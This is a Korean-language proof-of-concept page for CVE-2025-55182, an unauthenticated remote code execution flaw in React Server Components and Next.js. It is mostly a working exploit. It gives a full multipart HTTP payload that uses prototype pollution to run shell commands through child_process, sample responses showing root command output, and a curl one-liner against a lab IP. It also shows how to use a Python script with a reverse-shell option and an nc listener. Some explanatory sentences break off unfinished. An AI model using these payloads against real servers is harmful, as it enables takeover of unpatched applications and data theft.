
CVE-2025-55182에 대한 개념 증명 익스플로잇: React Server Components의 안전하지 않은 역직렬화를 통한 인증되지 않은 RCE로, 취약한 RSC/Next.js 엔드포인트에서 임의 명령 실행 및 리버스 셸을 가능하게 합니다.
CVE-2025-55182는 React Server Components(RSC)에 영향을 미치는 치명적인 원격 코드 실행(RCE) 취약점입니다.
이 취약점은 인증되지 않은 공격자가 취약한 서버에서 임의 코드를 실행할 수 있게 합니다.
이 문제는 React Server Component Server Function 엔드포인트의 안전하지 않은 역직렬화에서 비롯됩니다. 부적절한 검증으로 인해 특수하게 조작된 요청이 악성 페이로드를 실행할 수 있습니다.
React 기반 프레임워크가 널리 배포되어 있기 때문에 공격 표면이 매우 큽니다.
취약한 버전은 다음과 같습니다:
react-server-dom-webpack 19.0.0 – 19.2.0
react-server-dom-parcel 19.0.0 – 19.2.0
react-server-dom-turbopack 19.0.0 – 19.2.0
이 패키지들을 기반으로 구축된 프레임워크(예: 취약한 버전을 사용하는 Next.js 앱)도 영향을 받을 수 있습니다.
이 결함은 다음으로 인해 발생합니다:
이로 인해 공격자는 서버에서 실행되는 악성 페이로드를 조작할 수 있습니다.
다음을 확인하세요:
| Category | Value |
|---|---|
| Vulnerability | Remote Code Execution |
| Authentication Required | ❌ No |
| Attack Vector | 🌐 Network |
| Severity | 🔴 Critical |
| Exploited in Wild | ⚠️ Yes |
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
반환값:
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195
0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}
┌──(kali㉿kali)-[~/Downloads]
└─$ curl -i -X POST http://10.48.133.212:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
-H "Next-Action: x" \
-H "Next-Router-State-Tree: b5dce965" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" \
--data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\\"$B1337\\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'<COMMAND>\').toString().trim();;;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--'
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Sat, 28 Feb 2026 10:19:04 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
0:{"a":"$@1","f":"","b":"3WpzTMYEK9QGOeqIBQxrR"}
1:E{"digest":"287088506"}
sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "whoami"
ubuntu (또는 유사한 값).sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "id"
리버스 셸의 경우:
nc -lvnp 4444sudo python3 react2shell_poc.py http://10.48.133.212:3000 --rev-shell --rev-ip YOUR_IP --rev-port 4444애플리케이션에서 React Server Components를 사용한다면 즉시 패치하세요. 지연될수록 노출 위험이 크게 증가합니다.